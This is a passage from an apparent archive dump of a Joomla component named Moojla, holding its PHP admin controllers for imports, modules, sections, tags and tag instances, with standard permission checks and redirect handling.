\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Import Controller
*/
class MoojlaControllerImport extends JControllerLegacy
{
/**
* Import an spreadsheet.
*
* @return void
*/
public function import()
{
// Check for request forgeries
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$model = $this->getModel('import');
if ($model->import())
{
$cache = JFactory::getCache('mod_menu');
$cache->clean();
// TODO: Reset the users acl here as well to kill off any missing bits
}
$app = JFactory::getApplication();
$redirect_url =
$app->getUserState('com_moojla.redirect_url');
if (empty($redirect_url))
{
$redirect_url =
JRoute::_('index.php?option=com_moojla&view=import', false);
}
else
{
// wipe out the user state when we're going to redirect
$app->setUserState('com_moojla.redirect_url',
'');
$app->setUserState('com_moojla.message', '');
$app->setUserState('com_moojla.extension_message',
'');
}
$this->setRedirect($redirect_url);
}
}
controllers/index.html000064400000000054151165724360011120
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>controllers/languagetranslation.php000064400000002723151165724360013703
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage languagetranslation.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Languagetranslation Controller
*/
class MoojlaControllerLanguagetranslation extends JControllerLegacy
{
public function __construct($config)
{
parent::__construct($config);
}
public function dashboard()
{
$this->setRedirect(JRoute::_('index.php?option=com_moojla',
false));
return;
}
}
controllers/module.php000064400000020165151165724360011126 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage module.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Module Controller
*/
class MoojlaControllerModule extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Modules'; // safeguard for setting the
return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.module.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.module.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Module', '', array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=modules'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/modules.php000064400000003542151165724360011311
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage modules.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Modules Controller
*/
class MoojlaControllerModules extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_MODULES';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Module', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
}
controllers/moojla.php000064400000002301151165724360011112 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moojla.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla Controller
*/
class MoojlaControllerMoojla extends JControllerAdmin
{
}
controllers/section.php000064400000020175151165724360011306
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage section.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Section Controller
*/
class MoojlaControllerSection extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Sections'; // safeguard for setting the
return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.section.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.section.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Section', '', array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=sections'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/sections.php000064400000003547151165724360011475
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage sections.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Sections Controller
*/
class MoojlaControllerSections extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_SECTIONS';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Section', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
}
controllers/tag.php000064400000020323151165724360010410 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Tag Controller
*/
class MoojlaControllerTag extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Tags'; // safeguard for setting the
return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// Access check.
$access = $user->authorise('tag.access',
'com_moojla');
if (!$access)
{
return false;
}
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.tag.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.tag.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Tag', '', array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=tags'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/tags.php000064400000003523151165724360010576 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tags.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Tags Controller
*/
class MoojlaControllerTags extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_TAGS';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Tag', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
}
controllers/tag_instance.php000064400000020444151165724360012300
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag_instance.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Tag_instance Controller
*/
class MoojlaControllerTag_instance extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Tag_instances'; // safeguard for setting
the return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// Access check.
$access = $user->authorise('tag_instance.access',
'com_moojla');
if (!$access)
{
return false;
}
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.tag_instance.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.tag_instance.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
